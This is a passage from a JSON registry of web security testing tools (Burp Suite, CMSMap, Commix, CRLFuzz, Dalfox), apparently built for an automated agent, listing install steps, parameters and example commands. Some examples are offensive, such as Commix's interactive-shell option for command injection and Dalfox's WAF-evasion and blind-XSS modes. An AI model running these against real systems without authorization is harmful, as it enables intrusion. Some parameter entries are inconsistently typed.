          "type": "web.scan.report",
          "description": "HTML scan report",
          "mime": "text/html"
        },
        {
          "type": "web.scan.project",
          "description": "Burp project file",
          "mime": "application/octet-stream"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 1024,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Integrated platform for web application security testing with proxy, scanner, intruder, repeater, and decoder tools.",
    "examples": [
      {
        "description": "Launch Burp Suite with default configuration",
        "command": "burpsuite --use-defaults"
      },
      {
        "description": "Launch Burp Suite with a specific project file",
        "command": "burpsuite --project-file /path/to/project.burp"
      },
      {
        "description": "Launch with custom Collaborator configuration",
        "command": "burpsuite --collaborator-config collab.config"
      },
      {
        "description": "Show diagnostics and troubleshooting info",
        "command": "burpsuite --diagnostics"
      }
    ],
    "execution": {
      "template": "burpsuite",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdout",
      "process-manip",
      "remote"
    ],
    "global_vars": {
      "target": "url"
    },
    "id": "security-web-burpsuite",
    "install": [
      {
        "method": "custom",
        "commands": [
          "wget -O burpsuite.sh https://portswigger.net/burp/releases/download?product=community&type=linux",
          "chmod +x burpsuite.sh && ./burpsuite.sh"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "burpsuite",
    "namespace": "security:web:burpsuite",
    "parameters": [
      {
        "name": "collab-config",
        "template_key": "collab-config",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Collaborator server configuration file",
        "aliases": [
          "--collaborator-config"
        ],
        "flag": "--collaborator-config"
      },
      {
        "name": "project-file",
        "template_key": "project-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Project file to load",
        "aliases": [
          "--project-file"
        ],
        "flag": "--project-file"
      },
      {
        "name": "use-defaults",
        "template_key": "use-defaults",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Start with default configuration",
        "aliases": [
          "--use-defaults"
        ],
        "flag": "--use-defaults"
      },
      {
        "name": "diagnostics",
        "template_key": "diagnostics",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Show diagnostics information",
        "aliases": [
          "--diagnostics"
        ],
        "flag": "--diagnostics"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Display help information",
        "aliases": [
          "--help",
          "-h"
        ],
        "flag": "-h"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Burp Suite Documentation",
        "url": "https://portswigger.net/burp/documentation"
      },
      {
        "label": "Burp Suite Community Edition",
        "url": "https://portswigger.net/burp/communitydownload"
      }
    ],
    "related_tools": [
      "owasp-zap",
      "nikto",
      "whatweb"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 1024,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "discovery",
      "discovery",
      "discovery",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "scan-results",
        "discoveryed-requests",
        "session-tokens"
      ],
      "consumes": [
        "target-url",
        "proxy-traffic"
      ]
    }
  },
  {
    "_body": "\n# CMSMap — CMS Security Scanner\n\nCMSMap is a security scanner for popular Content Management Systems (WordPress, Joomla, Drupal, and Moodle) that performs fingerprinting, version detection, user enumeration, and vulnerability scanning.\n\n## Basic Usage\n\n```bash\n# Basic scan of a CMS website\ncmsmap -t http://target.com\n\n# Enumerate users and components\ncmsmap -t http://target.com -E\n\n# Scan through a proxy\ncmsmap -t http://target.com -p http://127.0.0.1:8080 -v\n\n# Scan multiple targets from a file\ncmsmap -i targets.txt -o results.csv\n```\n\n## Supported CMS\n\n| CMS | Detection | Enumeration |\n|-----|-----------|-------------|\n| WordPress | Core version, plugins, themes | Users, vulnerable plugins |\n| Joomla | Core version, components | Users, vulnerable extensions |\n| Drupal | Core version, modules | Users, vulnerable modules |\n| Moodle | Core version, plugins | Users, courses |\n",
    "_source": "cmsmap.md",
    "allowed-tools": [
      "cmsmap",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "report.json",
        "description": "Scan results as JSON",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
        "type": "report.csv",
        "description": "Scan results as CSV",
        "mime": "text/csv",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.discovery.asset",
      "web.fingerprint.cms",
      "web.enumeration.component",
      "web.vulnerability.scanner",
      "web.enumeration.user"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target CMS URL to scan"
        },
        {
          "type": "web.target.domain",
          "description": "Target domain for CMS detection"
        },
        {
          "type": "network.target.file",
          "description": "File containing list of target URLs"
        }
      ],
      "outputs": [
        {
          "type": "report.json",
          "description": "CMS scan report as JSON",
          "mime": "application/json"
        },
        {
          "type": "report.csv",
          "description": "CMS scan report as CSV",
          "mime": "text/csv"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Content Management System security scanner supporting WordPress, Joomla, Drupal, and Moodle fingerprinting and enumeration.",
    "examples": [
      {
        "description": "Basic CMS scan",
        "command": "cmsmap -t http://target.com"
      },
      {
        "description": "Force WordPress scan over HTTPS",
        "command": "cmsmap -t http://target.com -F -f"
      },
      {
        "description": "CMS scan with proxy and verbose output",
        "command": "cmsmap -t http://target.com -p http://127.0.0.1:8080 -v"
      },
      {
        "description": "Enumerate users and components",
        "command": "cmsmap -t http://target.com -E"
      },
      {
        "description": "Scan multiple targets from file",
        "command": "cmsmap -i targets.txt -o results.csv"
      },
      {
        "description": "CMS detection only",
        "command": "cmsmap -t http://target.com -d"
      }
    ],
    "execution": {
      "template": "cmsmap -t {target}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {
      "target": "url"
    },
    "id": "security-web-cmsmap",
    "install": [
      {
        "method": "pip",
        "package_name": "cmsmap",
        "commands": [
          "pip install cmsmap"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "cmsmap",
    "namespace": "security:web:cmsmap",
    "parameters": [
      {
        "name": "detect",
        "template_key": "detect",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Detect CMS type only (no deep scan)",
        "aliases": [
          "-d",
          "--detect"
        ],
        "flag": "-d"
      },
      {
        "name": "enumerate",
        "template_key": "enumerate",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable enumeration of users and components",
        "aliases": [
          "-E",
          "--enumerate"
        ],
        "flag": "-E"
      },
      {
        "name": "extensions",
        "template_key": "extensions",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File extensions to check (comma-separated)",
        "aliases": [
          "-x",
          "--extensions"
        ],
        "flag": "-x"
      },
      {
        "name": "force",
        "template_key": "force",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Force scan even if CMS detection fails",
        "aliases": [
          "-f",
          "--force"
        ],
        "flag": "-f"
      },
      {
        "name": "force-ssl",
        "template_key": "force-ssl",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Force HTTPS connection",
        "aliases": [
          "-F",
          "--force-ssl"
        ],
        "flag": "-F"
      },
      {
        "name": "headers",
        "template_key": "headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Additional HTTP headers (comma-separated)",
        "aliases": [
          "-H",
          "--headers"
        ],
        "flag": "-H"
      },
      {
        "name": "input-file",
        "template_key": "input-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "File containing list of target URLs",
        "aliases": [
          "-i",
          "--input-file"
        ],
        "flag": "-i"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output file for results",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "HTTP proxy address",
        "aliases": [
          "-p",
          "--proxy"
        ],
        "flag": "-p"
      },
      {
        "name": "recursive",
        "template_key": "recursive",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Recursive directory enumeration",
        "aliases": [
          "-r",
          "--recursive"
        ],
        "flag": "-r"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "Force SSL/HTTPS connection",
        "aliases": [
          "-s",
          "--ssl"
        ],
        "flag": "-s"
      },
      {
        "name": "target",
        "template_key": "target",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL or hostname",
        "aliases": [
          "-t",
          "--target"
        ],
        "flag": "-t"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Full URL to scan",
        "aliases": [
          "-u",
          "--url"
        ],
        "flag": "-u"
      },
      {
        "name": "user-agent",
        "template_key": "user-agent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom User-Agent header",
        "aliases": [
          "-a",
          "--user-agent"
        ],
        "flag": "-a"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "wordlist",
        "template_key": "wordlist",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Custom wordlist for brute force",
        "aliases": [
          "-w",
          "--wordlist"
        ],
        "flag": "-w"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "CMSMap GitHub",
        "url": "https://github.com/Dionach/CMSmap"
      },
      {
        "label": "CMSMap on Kali",
        "url": "https://www.kali.org/tools/cmsmap/"
      }
    ],
    "related_tools": [
      "wpscan",
      "joomscan",
      "whatweb"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "recon",
      "enumeration",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "cms-fingerprint",
        "vulnerability-list",
        "user-list",
        "component-list"
      ],
      "consumes": [
        "target-url",
        "target-domain"
      ]
    }
  },
  {
    "_body": "\n# Commix — Automated Command Injection\n\nCommix (Command Injection Exploiter) is an automated tool for detecting and exploiting command injection vulnerabilities in web applications.\n\n## Basic Usage\n\n```bash\n# Simple GET parameter test\ncommix -u \"http://target.com/page.php?cmd=ls\" --batch\n\n# POST data test\ncommix -u \"http://target.com/search\" --data \"q=test\" --batch\n```\n\n## Exploitation\n\n```bash\n# Get interactive shell\ncommix -u \"http://target.com/page.php?cmd=ls\" --shell\n\n# Dump all available info\ncommix -u \"http://target.com/page.php?cmd=ls\" --all --batch\n```\n\n## Techniques\n\n| Technique | Description |\n|-----------|-------------|\n| `--technique=classic` | Classic command injection |\n| `--technique=eval` | Code evaluation injection |\n| `--technique=file-based` | File-based injection |\n| `--technique=all` | All techniques |\n",
    "_source": "commix.md",
    "allowed-tools": [
      "commix",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.exploit.command.shell",
        "description": "Shell session artifacts",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.injection.command",
      "web.exploitation.rce",
      "security.exploit.command",
      "web.discovery.injection"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL with injectable parameter"
        }
      ],
      "outputs": [
        {
          "type": "web.injection.command.results",
          "description": "Command injection test results",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Automated command injection exploitation tool for testing and exploiting OS command injection vulnerabilities.",
    "examples": [
      {
        "description": "Basic command injection test",
        "command": "commix -u \"http://target.com/page.php?cmd=ls\" --batch"
      },
      {
        "description": "Test with POST data",
        "command": "commix -u \"http://target.com/search\" --data \"q=test\" --batch"
      },
      {
        "description": "Get interactive shell",
        "command": "commix -u \"http://target.com/page.php?cmd=ls\" --shell"
      },
      {
        "description": "With custom headers and cookie",
        "command": "commix -u \"http://target.com/page.php?cmd=ls\" -H \"X-Custom: value\" --cookie \"PHPSESSID=abc123\" --batch"
      },
      {
        "description": "Use proxy",
        "command": "commix -u \"http://target.com/page.php?cmd=ls\" --proxy \"http://127.0.0.1:8080\" --batch"
      }
    ],
    "execution": {
      "template": "commix -u {target} --batch",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "stealth"
    ],
    "global_vars": {
      "target": "url"
    },
    "id": "security-web-commix",
    "install": [
      {
        "method": "apt",
        "package_name": "commix",
        "commands": [
          "apt-get install -y commix"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "commix",
    "namespace": "security:web:commix",
    "parameters": [
      {
        "name": "all",
        "type": "boolean",
        "required": false,
        "description": "Retrieve all information",
        "aliases": [
          "--all"
        ],
        "flag": "--all"
      },
      {
        "name": "batch",
        "template_key": "batch",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Never ask for user input",
        "aliases": [
          "--batch"
        ],
        "flag": "--batch"
      },
      {
        "name": "cookie",
        "template_key": "cookie",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "HTTP Cookie header",
        "aliases": [
          "--cookie"
        ],
        "flag": "--cookie"
      },
      {
        "name": "data",
        "template_key": "data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "POST data string",
        "aliases": [
          "--data"
        ],
        "flag": "--data"
      },
      {
        "name": "delay",
        "template_key": "delay",
        "type": "integer",
        "required": false,
        "default_value": 0,
        "description": "Delay between requests in seconds",
        "aliases": [
          "--delay"
        ],
        "flag": "--delay"
      },
      {
        "name": "encoding",
        "type": "boolean",
        "required": false,
        "description": "Payload encoding",
        "aliases": [
          "--encoding"
        ],
        "flag": "--encoding"
      },
      {
        "name": "headers",
        "template_key": "headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom HTTP headers",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "level",
        "template_key": "level",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Level of tests (1-3)",
        "aliases": [
          "--level"
        ],
        "flag": "--level"
      },
      {
        "name": "method",
        "template_key": "method",
        "type": "string",
        "required": false,
        "default_value": "GET",
        "description": "HTTP method to use",
        "aliases": [
          "--method"
        ],
        "flag": "--method"
      },
      {
        "name": "os",
        "template_key": "os",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target OS (linux/windows)",
        "aliases": [
          "--os"
        ],
        "flag": "--os"
      },
      {
        "name": "output_dir",
        "type": "boolean",
        "required": false,
        "description": "Output directory",
        "aliases": [
          "--output-dir"
        ],
        "flag": "--output-dir"
      },
      {
        "name": "payload",
        "template_key": "payload",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom injection payload",
        "aliases": [
          "--payload"
        ],
        "flag": "--payload"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Proxy URL",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      },
      {
        "name": "referer",
        "template_key": "referer",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "HTTP Referer header",
        "aliases": [
          "--referer"
        ],
        "flag": "--referer"
      },
      {
        "name": "shell",
        "template_key": "shell",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Obtain interactive shell",
        "aliases": [
          "--shell"
        ],
        "flag": "--shell"
      },
      {
        "name": "tamper",
        "type": "boolean",
        "required": false,
        "description": "Tamper script",
        "aliases": [
          "--tamper"
        ],
        "flag": "--tamper"
      },
      {
        "name": "technique",
        "template_key": "technique",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Injection technique to use",
        "aliases": [
          "--technique"
        ],
        "flag": "--technique"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "user-agent",
        "template_key": "user-agent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom User-Agent",
        "aliases": [
          "--user-agent"
        ],
        "flag": "--user-agent"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Commix GitHub",
        "url": "https://github.com/commixproject/commix"
      },
      {
        "label": "Commix documentation",
        "url": "https://github.com/commixproject/commix/wiki"
      }
    ],
    "related_tools": [
      "sqlmap",
      "shellshocker"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "execution-results",
        "os-shell"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
    "_body": "\n# CRLFuzz — CRLF Injection Scanner\n\nCRLFuzz is a fast Go-based tool for scanning CRLF (Carriage Return Line Feed) injection vulnerabilities. It tests for HTTP response splitting and header injection by injecting CRLF sequences into request parameters and headers.\n\n## Usage\n\n```bash\n# Basic scan\ncrlfuzz -u https://example.com\n\n# Verbose with concurrent threads\ncrlfuzz -u https://example.com -v -t 100\n\n# Save to file\ncrlfuzz -u https://example.com -o vulnerable.txt\n```\n",
    "_source": "crlfuzz.md",
    "allowed-tools": [
      "crlfuzz",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.crlf.report",
        "description": "CRLF injection scan results",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.crlf.detect",
      "web.injection.header",
      "web.response.split"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL"
        }
      ],
      "outputs": [
        {
          "type": "web.crlf.report",
          "description": "Scan results with vulnerable endpoints",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fast CRLF injection scanner written in Go that detects HTTP response splitting and header injection vulnerabilities.",
    "examples": [
      {
        "description": "Basic CRLF scan",
        "command": "crlfuzz -u https://example.com"
      },
      {
        "description": "Verbose scan with threads",
        "command": "crlfuzz -u https://example.com -v -t 50"
      },
      {
        "description": "Save results to file",
        "command": "crlfuzz -u https://example.com -o results.txt"
      }
    ],
    "execution": {
      "template": "crlfuzz {flag-verbose} {flag-threads} {flag-timeout} {flag-concurrency} {flag-output} {target}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout",
      "stealth"
    ],
    "id": "security-web-crlfuzz",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/dwisiswant0/crlfuzz",
        "commands": [
          "go install github.com/dwisiswant0/crlfuzz/cmd/crlfuzz@latest"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "crlfuzz",
    "namespace": "security:web:crlfuzz",
    "parameters": [
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "Target URL or host:port"
      },
      {
        "name": "flag-verbose",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-threads",
        "type": "integer",
        "required": false,
        "description": "Number of concurrent threads",
        "aliases": [
          "-t",
          "--threads"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-timeout",
        "type": "integer",
        "required": false,
        "description": "Request timeout in seconds",
        "aliases": [
          "--timeout"
        ],
        "flag": "--timeout"
      },
      {
        "name": "flag-output",
        "type": "string",
        "required": false,
        "description": "Output file for results",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-concurrency",
        "type": "integer",
        "required": false,
        "description": "Concurrent scan level",
        "aliases": [
          "-c",
          "--concurrency"
        ],
        "flag": "-c"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "CRLFuzz GitHub",
        "url": "https://github.com/dwisiswant0/crlfuzz"
      }
    ],
    "related_tools": [
      "smuggler",
      "burpsuite",
      "nmap"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [
      "HTTP"
    ],
    "techniques": [
      "execution",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "crlf-scan-results"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
    "_body": "\n# Dalfox — Fast XSS Scanner\n\nDalfox is a fast, parameter-analysis-based XSS scanner written in Go with WAF detection, mining capabilities, and multiple output format support.\n\n## Basic Usage\n\n```bash\n# Single URL scan\ndalfox url http://target.com/page.php?id=1\n\n# With POST data\ndalfox url http://target.com/login --data \"user=test&pass=test\"\n\n# With custom headers\ndalfox url http://target.com/page.php?id=1 --header \"Authorization: Bearer token\"\n```\n\n## Mass Scanning\n\n```bash\n# Pipe URLs from file\ncat urls.txt | dalfox pipe\n\n# Mass scan mode\ndalfox url http://target.com/page.php?id=1 --mass\n```\n\n## Advanced Options\n\n```bash\n# Mining mode (find parameters)\ndalfox url http://target.com/page.php?id=1 --mining\n\n# WAF evasion\ndalfox url http://target.com/page.php?id=1 --waf-evasion\n\n# Blind XSS\ndalfox url http://target.com/page.php?id=1 --blind\n\n# JSON output\ndalfox url http://target.com/page.php?id=1 --format json -o results.json\n```\n",
    "_source": "dalfox.md",
    "allowed-tools": [
      "dalfox",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.xss.report",
        "description": "XSS scan results",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.injection.xss",
      "web.analysis.parameter",
      "security.evasion.waf",
      "web.scan.mass"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL to scan for XSS"
        }
      ],
      "outputs": [
        {
          "type": "web.injection.xss.results",
          "description": "XSS vulnerability findings",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 64,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fast parameter analysis and XSS scanner written in Go with WAF detection, mining, and multi-format output.",
    "examples": [
      {
        "description": "Basic XSS scan",
        "command": "dalfox url http://target.com/page.php?q=test"
      },
      {
        "description": "Scan with POST data",
        "command": "dalfox url http://target.com/login --data \"user=admin&pass=test\""
      },
      {
        "description": "Mass scan from file",
        "command": "dalfox pipe < urls.txt"
      },
      {
        "description": "Scan with WAF evasion",
        "command": "dalfox url http://target.com/page.php?q=test --waf-evasion"
      },
      {
        "description": "Output in JSON format",
        "command": "dalfox url http://target.com/page.php?q=test --format json --output results.json"
      }
    ],
    "execution": {
      "template": "dalfox url {target}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {
      "target": "url"
    },
    "id": "security-web-dalfox",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/hahwul/dalfox/v2",
        "commands": [
          "go install github.com/hahwul/dalfox/v2@latest"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "dalfox",
    "namespace": "security:web:dalfox",
    "parameters": [
      {
        "name": "blind",
        "template_key": "blind",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Blind XSS detection",
        "aliases": [
          "--blind"
        ],
        "flag": "--blind"
      },
      {
        "name": "cookie",
        "template_key": "cookie",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Cookie for request",
        "aliases": [
          "--cookie"
        ],
        "flag": "--cookie"
      },
      {
        "name": "custom_payload",
        "type": "boolean",
        "required": false,
        "description": "string Custom payload file",
        "aliases": [
          "--custom-payload"
        ],
        "flag": "--custom-payload"
      },
      {
        "name": "data",
        "template_key": "data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "POST data",
        "aliases": [
          "--data"
        ],
        "flag": "--data"
      },
      {
        "name": "delay",
        "template_key": "delay",
        "type": "integer",
        "required": false,
        "default_value": 0,
        "description": "Delay between requests in ms",
        "aliases": [
          "--delay"
        ],
        "flag": "--delay"
      },
      {
        "name": "follow_redirects",
        "type": "boolean",
        "required": false,
        "description": "Follow redirects",
        "aliases": [
          "--follow-redirects"
        ],
        "flag": "--follow-redirects"
      },
      {
        "name": "format",
        "template_key": "format",
        "type": "string",
        "required": false,
        "default_value": "plain",
        "description": "Output format (json/xml/plain)",
        "aliases": [
          "--format"
        ],
        "flag": "--format"
      },
      {
        "name": "found_action",
        "type": "boolean",
        "required": false,
        "description": "string   Command to run on XSS found",
        "aliases": [
          "--found-action"
        ],
        "flag": "--found-action"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Help for dalfox",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "header",
        "template_key": "header",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom HTTP headers",
        "aliases": [
          "--header"
        ],
        "flag": "--header"
      },
      {
        "name": "mass",
        "template_key": "mass",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Mass scan mode",
        "aliases": [
          "--mass"
        ],
        "flag": "--mass"
      },
      {
        "name": "mass_file",
        "type": "boolean",
        "required": false,
        "description": "string      File for mass targets",
        "aliases": [
          "--mass-file"
        ],
        "flag": "--mass-file"
      },
      {
        "name": "mining",
        "template_key": "mining",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable mining mode",
        "aliases": [
          "--mining"
        ],
        "flag": "--mining"
      },
      {
        "name": "not_found_action",
        "type": "boolean",
        "required": false,
        "description": "string  Command on not found",
        "aliases": [
          "--not-found-action"
        ],
        "flag": "--not-found-action"
      },
      {
        "name": "only_custom_payload",
        "type": "boolean",
        "required": false,
        "description": "Use only custom payloads",
        "aliases": [
          "--only-custom-payload"
        ],
        "flag": "--only-custom-payload"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output file",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Proxy URL",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      },
      {
        "name": "silent",
        "template_key": "silent",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Silent mode",
        "aliases": [
          "--silent"
        ],
        "flag": "--silent"
      },
      {
        "name": "timeout",
        "template_key": "timeout",
        "type": "integer",
        "required": false,
        "default_value": 10,
        "description": "Request timeout in seconds",
        "aliases": [
          "--timeout"
        ],
        "flag": "--timeout"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL (positional argument)",
        "aliases": []
      },
      {
        "name": "user-agent",
        "template_key": "user-agent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom User-Agent",
        "aliases": [
          "--user-agent"
        ],
        "flag": "--user-agent"
      },
      {
        "name": "waf_evasion",
        "type": "boolean",
        "required": false,
        "description": "Enable WAF evasion",
        "aliases": [
          "--waf-evasion"
        ],
        "flag": "--waf-evasion"
      },
      {
        "name": "worker",
        "template_key": "worker",
        "type": "integer",
        "required": false,
        "default_value": 10,
        "description": "Number of workers",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Dalfox GitHub",
        "url": "https://github.com/hahwul/dalfox"
      }
    ],
    "related_tools": [
      "xsstrike",
      "commix"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 64,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "discovery",
      "discovery",
      "defense-evasion"
